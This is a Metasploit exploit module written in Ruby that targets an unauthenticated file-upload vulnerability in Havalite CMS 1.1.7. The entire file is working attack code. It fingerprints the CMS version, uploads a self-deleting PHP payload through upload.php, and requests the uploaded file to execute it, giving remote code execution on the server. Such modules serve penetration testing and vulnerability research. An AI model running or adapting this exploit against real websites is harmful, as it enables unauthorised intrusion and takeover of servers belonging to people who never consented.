Havalite CMS Arbitary File Upload

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::PhpEXE  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Havalite CMS Arbitary File Upload Vulnerability",  
'Description' => %q{  
This module exploits a file upload vulnerability found in Havalite CMS 1.1.7, and  
possibly prior. Attackers can abuse the upload feature in order to upload a  
malicious PHP file without authentication, which results in arbitary remote code  
execution.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'CWH',  
'sinn3r' #Metasploit  
],  
'References' =>  
[  
['OSVDB', '94405'],  
['EDB', '26243']  
],  
'Payload' =>  
{  
'BadChars' => "\x00"  
},  
'Platform' => ['linux', 'php'],  
'Targets' =>  
[  
[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],  
[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]  
],  
'Privileged' => false,  
'DisclosureDate' => "Jun 17 2013",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to havalite', '/'])  
], self.class)  
end  
  
  
def peer  
"#{rhost}:#{rport}"  
end  
  
  
#  
# Checks if target is running HavaLite CMS 1.1.7  
# We only flag 1.1.7 as vulnerable, because we don't have enough information from  
# the vendor or OSVDB about exactly which ones are really vulnerable.  
#  
def check  
uri = normalize_uri(target_uri.path, 'havalite/')  
res = send_request_raw({'uri' => uri})  
  
if not res  
print_error("#{peer} - Connection timed out")  
return Exploit::CheckCode::Unknown  
end  
  
js_src = res.body.scan(/<script type="text\/javascript">(.+)<\/script>/im).flatten[0] || ''  
version = js_src.scan(/var myVersion = '(.+)';/).flatten[0] || ''  
  
if not version.empty? and version =~ /1\.1\.7/  
print_status("#{peer} - Version found: #{version}")  
return Exploit::CheckCode::Vulnerable  
end  
  
Exploit::CheckCode::Unknown  
end  
  
  
#  
# Uploads our malicious file  
#  
def upload(base)  
p = get_write_exec_payload(:unlink_self=>true)  
fname = "#{rand_text_alpha(5)}.php"  
  
data = Rex::MIME::Message.new  
data.add_part(p, "application/octet-stream", nil, "form-data; name=\"files[]\"; filename=\"#{fname}\"")  
post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(base, 'havalite', 'upload.php'),  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => post_data  
})  
  
if not res  
fail_with(Exploit::Failure::Unknown, "#{peer} - Request timed out while uploading")  
elsif res.code.to_i == 404  
fail_with(Exploit::Failure::NotFound, "#{peer} - No upload.php found")  
elsif res.body =~ /"error"\:"abort"/  
fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to write #{fname}")  
end  
  
return fname  
end  
  
  
#  
# Executes our uploaded malicious file  
#  
def exec(base, payload_fname)  
res = send_request_raw({  
'uri' => normalize_uri(base, 'havalite','tmp', 'files', payload_fname)  
})  
  
if res and res.code == 404  
fail_with(Exploit::Failure::NotFound, "#{peer} - Not found: #{payload_fname}")  
end  
end  
  
  
def exploit  
base = target_uri.path  
  
print_status("#{peer} - Uploading malicious file...")  
fname = upload(base)  
  
print_status("#{peer} - Executing #{fname}...")  
exec(base, fname)  
end  
end`